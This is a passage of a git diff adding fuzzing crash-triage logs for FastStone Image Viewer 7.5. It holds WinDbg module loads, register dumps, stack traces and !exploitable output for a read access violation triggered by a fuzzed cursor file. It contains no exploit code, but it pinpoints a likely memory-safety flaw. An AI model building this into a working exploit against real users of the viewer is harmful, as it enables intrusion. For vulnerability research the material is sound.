+ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c24.1668): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00002d2d ecx=07e27b10 edx=00003879 esi=12768f40 edi=07c34fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.379135600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.0251769 -50586.9 -9.33842e-011 5.77988e-027 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036e000 e209bc88 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f2c7ee1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b257d1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e2d58c4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16FC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16FC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16fc.1354): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f17b10 edx=00003879 esi=ff230010 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.70691e+015 5.18207e-023 1.40375e-038 -1.03283e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ad000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ad000 f120ce20 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ad000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e2d58c4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16FC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16FC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 